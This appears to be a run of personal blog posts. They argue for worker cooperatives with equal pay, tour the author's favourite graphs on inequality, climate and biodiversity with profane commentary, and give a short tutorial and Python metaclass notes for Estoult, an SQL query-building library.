Each member in a cooperative has an equal share with one vote. Wikipedia says that "workers also often undergo a trial or screening period (such as three or six months) before being allowed to have full voting rights". I think that makes sense, although six months is a bit much so three is more reasonable.

A thing I haven't really seen talked about is how finances are managed. Like that seems pretty important, you still need to deal with capitalism and money is how it works.

The most common thing is that members get equal pay no matter what work you do. Again, some "multi-stakeholder cooperatives" have different salaries depending on what type of member you are. So, a "cashier" member might get a different salary to a "warehouse" member. But… why? On what basis are you saying the cashier should be paid more or less than the warehouse worker? Most people say it's based on the amount of work you do, but can you really say that one of these people does more than the other?

Let's use a more extreme example actually, the good ol' question: "should a CEO be getting paid >10x more than the janitor?" Which basically boils down to: "does a CEO do >10x more work than the janitor?" I'm sure you already have an opinion on that so I'm not going to bother.

But actually, there's an even easier solution to being able to have equal pay. A pretty common complaint of communism is "who will be the janitor if everyone is equal and free to do whatever they want?" To which the answer should be "no one", there should be no janitors. Like why do we have people who spend 8 hours a day cleaning toilets and shit? Everyone should be spending a little time every week cleaning their own shit, there shouldn't be a need for janitors.

Anyway, most small businesses operate on a loss, at least for the first few years. In the start-up world, it's pretty normal for the CEO to forgo a salary for a while to keep their employees paid. Assuming the financial situation is the same for the cooperative, operating with equal pay should be similar.

Although there is no CEO (because everyone is the owner), the most well off members would forgo a salary to keep the cooperative alive (if they want to obviously). This might not have as big as an impact because their salaries are the same instead of having a CEO with proportionally higher pay than their employees, so a few people may need to do it. Otherwise, you could always just vote to lower salaries or find ways to cut costs like any other business, but it's better because it's direct democracy.

If you're afraid that people would get lazy and not do any work if everyone has the same pay. You could implement some sort of system for bonuses, where people get rewards (probably money) for doing extra work. In most cases it's better to use rewards as incentives instead of penalties. This would probably be capped as well to make sure you aren't being underpaid and just expected to be doing more work to get bonuses. Nudge tip culture in America nudge. I do like the idea the people should be compensated more for their hard work, but oh boy, is that easy to exploit.

Assuming the cooperative isn't in any real financial difficulty, this would come from a "common fund" which is just a shared resource pool added to after all the expenses had been paid. The common fund could be used for much more as well, like enabling people to have start-up capital when starting new initiatives, and be a safety net if revenue starts slowing down.

For some reason most big businesses don't do something like this, where you just save some revenue in case stuff goes wrong (like maybe there's a global pandemic or something I dunno ¯\_(シ)_/¯). I'm assuming this has something to do with economic methodologies like "Just-in-Time" (JIT), which is a really good idea if you're know you're going to get your supplies when you ask for them, but what happens when you don't? Is this not a thing people think about? Is everyone just like "nah mate, IT'S OK! You seem them stonks?! They always go up! That means the economy is always going to be good!"

Maybe I should leave my rant on the entire field of economics for another time actually.

I haven't given any solid numbers because all this obviously depends on the cooperative, it would need to be fine tuned to each. But just as an FYI, Apple's net income for the quarter ending June 30, 2020 was $11.253 billion.^[2] And they employ 137,000 people^[3], so assuming 50% goes into the common fund (which is way more than it should be for most cooperatives), each person still gets $331,176 per year. Which if I remember correctly is very close to the amount of money you need before having more stops making you happier and you're able to live a very comfortable life. Wow! What a coincidence!

Now let's talk about how this would be managed. Because this is a direct democracy, technically every one would be a manager and I don't see why you couldn't just structure this like any other anarchist group. This is pretty simple for a small business, but what about Apple? The simple solution is to just not have so many members, as many companies only have so many employees because managers like having people to manage.

But either way, you could have people split up into groups of ~150. And since there isn't just one person whose job it is to micro-manage peoples' toilet breaks, everyone will need to know a little about what the others are doing to be able to coordinate. Each group would have representatives (elected democratically or through sortition) that meet with other group representatives to coordinate between groups. This is a standard anarchist system, if you're curious, I've talked about this before here.

Honestly, it doesn't actually seem all that different with how a business looks now. The difference is that the power is "bottom-up" instead of "top-down" where the members have the power over the hierarchy instead of people at the top, because of DIRECT DEMOCRACY BABBYYYYYYYYYY.

To be fair, I think many people would actually hate being in a worker cooperative. Lots of people take pride in how much more money they make than others or how high up the corporate ladder they are. Which is good, because I don't want to work with them. It's way more likely that I would enjoy working with someone who thinks this is a good idea than someone who doesn't.

And that's pretty much all I'm bothered to write. God I hate writing closing lines to these posts because I have no idea what to say.

But whatever, good bye. Au revoir.

I think the inventor of statical graphs William Playfair probably says it best in his book "Lineal Arithmetic; applied to shew the progress of the commerce and revenue of England during the present century, which is represented … by thirty-three copperplate charts, etc":⁽¹⁾

The advantage proposed by those charts, is not that of giving a more accurate statement than by figures, but it is to give a more simple and permanent idea of the gradual progress and comparative amounts, at different periods, by presenting to the eye a figure, the proportions of which correspond with the amount of the sums intended to be expressed.

As the eye is the best judge of proportion, being able to estimate it with more quickness and accuracy than any of our other organs, it follows that wherever relative quantities are in question, a gradual increase or decrease of any revenue, receipt or expenditure of money, or other value, is to be stated, this mode of representing it is peculiarly applicable; it gives a simple, accurate, and permanent idea, by giving form and shape to a number of separate ideas, which are otherwise abstract and unconnected. In a numerical table there are as many distinct ideas given, and to be remembered, as there are sums, the order and progression of those sums, therefore, are also to be recollected by another effort of memory, while this mode unites proportion, progression, and quantity all under one simple impression of vision, and consequently one act of memory.

Just a quick side note before we move on. The Wikipedia page on Playfair I linked to it says that he "reported on the French Revolution and organized a clandestine counterfeiting operation in 1793 to collapse the French currency" and "had a variety of careers […] a millwright, engineer, draftsman, accountant, inventor, silversmith, merchant, investment broker, economist, statistician, pamphleteer, translator, publicist, land speculator, convict, banker, ardent royalist, editor, blackmailer and journalist".

This is the coolest dude ever. Like holy shit, not only did he live out my dream of destroying the French, but one of his careers was as a "convict". I believe this was because he was "imprisoned for debt" at the end of the 1790s, which is like the second coolest reason to go to gaol! The first being tax evasion of course.

Anyway, I've had a go-to graph to show people when they ask me what my favourite is (because this is definitely a thing people ask me) for a few years now. It's a graph by the Economic Policy Institute showing "The Productivity–Pay Gap". I've shown it here in it's full glory.

What an amazing graph. Such beauty and grace. It's hard to find a graph that says this much.

In all seriousness, if there was an argument for a graph to have the title of "most important graph of this century", I would be arguing for this. It is just about one of the best arguments against capitalism you can make. If you see anyone say trickle down economics is a good idea, just show them this graph.

Another runner for the title would be Andy Lee Robinson's "Arctic Death Spiral". It's visually striking and clearly shows the loss of sea ice in all seasons. It even provides a tidy disappearing point for when months start hitting zero.

It's a very pretty graph, but it would be much better if it didn't mean the end of human civilisation.

You know, this reminds me of a cool headline I read last week: "World fails to meet a single target to stop destruction of nature"^[1]. The article includes lines like:

The UN said the natural world was deteriorating and failure to act could undermine the goals of the Paris agreement on the climate crisis and the sustainable development goals.

And:

From tackling pollution to protecting coral reefs, the international community did not fully achieve any of the 20 Aichi biodiversity targets agreed in Japan in 2010 to slow the loss of the natural world. It is the second consecutive decade that governments have failed to meet targets.

The Guardian is reporting on the Global Biodiversity Outlook 5 from the Convention on Biological Diversity (CBD). According to them it's a "periodic report that summarizes the latest data on the status and trends of biodiversity and draws conclusions relevant to the further implementation of the Convention."

It's actually an interesting report which shows the real effects of climate change instead of what most people think, which is Earth just getting a bit hot. And funnily enough it also includes a bunch of fun graphs we can look at!

I would like to go through all 20 Aichi biodiversity targets, but not every section has a graph ;( The very first section "Target 1: Awareness of biodiversity increased" doesn't have a one and "Target 2: Biodiversity values integrated" only has a small, boring bar graph.

The first fun⁽²⁾ graph comes from "Target 3: Incentives reformed" which is about eliminating, phasing out or reforming subsidies and other incentives potentially harmful to biodiversity, and in developing positive incentives for biodiversity conservation and sustainable use.

The graph shows how little progress has been made over the past decade. Relatively few countries have taken steps even to identify incentives that harm biodiversity, and harmful subsidies far outweigh positive incentives.

Next would be "Target 5: Habitat loss halved or reduced". Obviously, a good way to stop CO2 gain would be to stop cutting down trees and planting more, so how did we do?

Not good. Overall, the world seems to have increased deforestation since 2015.

This is a nice graph though. It shows forest expansion on the top and deforestation on the bottom with a black line on each bar to show the difference. So it's really easy to tell which is greater and by how much.

Recently I've started to care a lot about fish for some reason, so "Target 6: Sustainable management of aquatic living resources" is of particular importance to me.

Again, doesn't look like much progress has been made.

But you know what's cool? Coral reefs, like a certain Australian icon! These are looked at in "Target 10: Ecosystems vulnerable to climate change".

Oh no.

That's not cool at all!

Higher sea temperatures have led to an increase in mass coral bleaching, compounded by the impact of ocean acidification. More than sixty per cent of the world’s coral reefs face immediate direct threats, with overfishing and destructive fishing being the most pervasive immediate drivers. Corals have shown the steepest declines in status of all taxonomic groups assessed in the Red List Index.

This is actually the target with the least amount of countries making steps towards, with only 5% of reporting parties on track to meet the target.

Now let's look at "Target 12: Reducing risk of extinction".

"Target 12: Reducing risk of extinction"? More like "Target 12: Increasing risk of extinction"! HAHAH! What a funny joke. Make sure you subscribe to this blog (ignore the fact that I took that feature out) if you want more comedy like this in the future!

The other targets don't have a fun graph or are about social issues like increasing awareness, that we have actually been improving very slightly (the best we got is a "partially achieved (high confidence)" on "Target 17: Biodiversity strategies and action plans") which is good, but that goes against my narrative so I'm going to stop here.

But back to the original article, I want to look at how it ends with this statement from Basile van Havre, a co-chair of the negotiations.

I think it was a very laudable objective to set aspirational targets in the last decades. They’re hard to reach and clearly you hear that people want to have realistic targets.

REALISTIC TARGETS?! HOW WERE THESE NOT REALISTIC?! THEN WHAT WOULD EVEN BE REALISTIC?! WE BARELY MADE ANY PROGRESS AND EVEN WENT BACKWARDS ON A FEW OF THEM?! WHAT THE FUCK?!

Oh no wait, I just remembered that capitalism is a thing. That makes sense, of course it's not realistic.

Here's a fun headline I read yesterday: "Qantas seven-hour flight to nowhere sells out in 10 minutes"^[2].

[…] a sightseeing flight to nowhere offered by Qantas sold out within 10 minutes, according to the airline, with passengers eager to take to the skies at at time when Australia has grounded almost all international flights paying premium prices.

The seven-hour scenic flight will perform a giant loop taking in Queensland and the Gold Coast, New South Wales and the country's remote outback heartlands.

So cool, just as bushfire season is going to start. Now we can get front row seats to seeing our country burn down, while also helping it to burn! Talk about two birds with one stone.

You're not sick of graphs yet are you? Oh good, because I've got a few more.

Another article from The Guardian explains how your flight emits as much CO2 as many people do in a year. And includes a graph which shows that aviation emissions could triple in the next three decades.

And Alan Joyce called this "the fastest selling flight in Qantas history". I'm actually fucking appalled. Why would people buy this? Are they stupid? Actually, we've seen how "Fossil Fuel Combustion Is Driving Indoor CO2 Toward Levels Harmful to Human Cognition"^[3] so I wouldn't be surprised.

Look here, that paper also includes graphs! Here it is showing carbon dioxide past, present, and future. Atmospheric concentration (ppm) of CO2 derived from Antarctic ice cores (Lüthi et al., 2008), measured directly at Mauna Loa Observatory, and future concentrations associated with Representative Concentration Pathway (RCP) 4.5 and 8.5 (van Vuuren et al., 2011).

Woah! Isn't that the best thing you've seen this month! Thank you Alan Joyce and the selfish fucks who spent a minimum of AUD$787 (haha, real funny, my jokes are way better) to make the world worse. Where would we be without you? Actually achieving the Aichi targets? Yeah right! That's not realistic, get a grip.

Why does this always happen? This was just supposed to be a fun blog post about my favourite graphs! How did it turn into another rant about capitalism and climate change?

The first step to this is to not use an ORM. I mean, it's called an "Object Relational Mapper", obviously you'd want to avoid anything with "object" in the name.

But now I hear you ask.

How am I supposed to structure my queries to the database now? I don't want to write SQL in strings! Yuck!

Well have I got the answer (if you use Python) for you! For the past month, I've been building Estoult, a Python toolkit for data mapping SQL databases with an integrated query builder. Originally started as a port of Elixir's Ecto, I decided that was too much effort (and probably wouldn't work anyway) and just did my own thing. Now you can define schemas and queries to help structure your code without the baggage of l'objet horreur.

Here are some of the awesome features of Estoult from the readme:

• Not an ORM […]

WOAH! That's all I needed to hear! That alone makes it a 5 star man library!

To show you the amazing abilities of not using an ORM, let's do what every other ORM does for a tutorial and build a blog.

Except I can't be bothered to build a blog right now (I already spent enough time on this one), so we're just going to build the stuff you need Estoult for in a blog.

I'm going to assume you have PostgreSQL setup, so we are going to use that for our database.

You can install Estoult from pip:

pip install estoult

First, start of by adding a Database and importing all the stuff we'll need.

import re
from estoult import *
from datetime import datetime

db = PostgreSQLDatabase(
    database="blog",
    user="postgres",
    password="postgres"
)

I honestly have no idea why people choose to write a blog to show off their ORMs, it's not representative of what you'd use them for at all. Blogs are really simple and aren't a good introduction to the features of any ORM or for showing why you'd want to use them.

Anyway, we only need to make one Schema, the Post which will have the following columns:

• slug: a URL-friendly representation of the title (and also our primary key).
• title: the title…
• content: content of the post (could be Markdown or HTML, I don't care)
• timestamp: the time the entry was created.

class Post(db.Schema):
    __tablename__ = "posts"

    slug = Field(str, "slug", primary_key=True)
    title = Field(str, "title")
    content = Field(str, "content")
    timestamp = Field(datetime, "timestamp")

    @classmethod
    def insert(cls, row):
        row["slug"] = re.sub('[^\w]+', '-', row["title"].lower())
        row["timestamp"] = datetime.now()
        return super().insert(row)

We are also overwriting the insert function of the schema to automatically generate a timestamp and create a slug from the title so we won't need to do it manually. This way we only need to worry about entering the title and content. Overwriting classmethods is encouraged in Estoult, so use it where you can.

Let's make methods for adding and getting posts.

def add_post(post):
    Post.insert(post)

def get_posts():
    return Query(Post).select().execute()

def get_post(slug):
    return Query(Post).get().where(Post.slug == slug).execute()

Oh that's it… That's kinda all you need for a blog. Alright then, guess we're done.

No but actually, I seriously hate writing tutorials.⁽²⁾ Instead I want to talk about the stuff I learnt while writing Estoult. I've actually had to deal with some of the Python internals and they're actually really interesting. I've never been super happy with Python before but after this it's been starting to somewhat impress (or maybe I just like it more because I understand it better).

In some object-oriented languages a metaclass is a class whose instances are classes. Just as an ordinary class defines the behaviour of certain objects, a metaclass defines the behavior of certain classes and their instances.^[1]

Python is one of the languages to feature metaclasses, and as such is capable of a decent amount of metaprogramming (well, as much as an object-oriented language can be metaprogrammed).

One of the things this has allowed me to do is to imperatively write classmethods with loops. A good example of this is adding join functions to the Query class. This is what it looks like currently.

class QueryMetaclass(type):

    sql_joins = [
        "inner join",
        "left join",
        "left outer join",
        "right join",
        "right outer join",
        "full join",
        "full outer join",
    ]

    @staticmethod
    def make_join_fn(join_type):
        def join_fn(self, schema, on):
            q = f"{str(on[0])} = {str(on[1])}"
            self._query += f"{join_type} {schema.__tablename__} on {q}\n"

            return self

        return join_fn

    def __new__(cls, clsname, bases, attrs):
        for join_type in cls.sql_joins:
            attrs[join_type.replace(" ", "_")] = QueryMetaclass.make_join_fn(join_type)

        return super(QueryMetaclass, cls).__new__(cls, clsname, bases, attrs)

class Query(metaclass=QueryMetaclass):
    [...]

Since all the joins are the same structure wise, writing them as individual classmethods would become tedious and result in a lot of repeated code. Almost every class in Estoult is created by a metaclass to do things like this. Schema uses a metaclass to add metadata about itself to each of it's fields, and Field uses a metaclass to overload Python operators with our query operators.

I never realised Python had these kinds of metaprogramming abilities before, but if everything is an object then I guess you'd expect some crazy stuff.

Don't get me wrong, OOP still stucks. Metaprogramming is much, much easier and better in Elixir or even Rust, but I think it's neat that Python isn't as rigid as I thought it was.

So now that you're convinced that you should immediately remove the ORM from your 900 thousand lines of code enterprise Python web application and replace it with Estoult, you might have one more question.

What the hell is an "Estoult"?

The answer lies in here.

Anyway, this has been a fun month. I think it's been the longest time I've continuously talked about programming in a long time.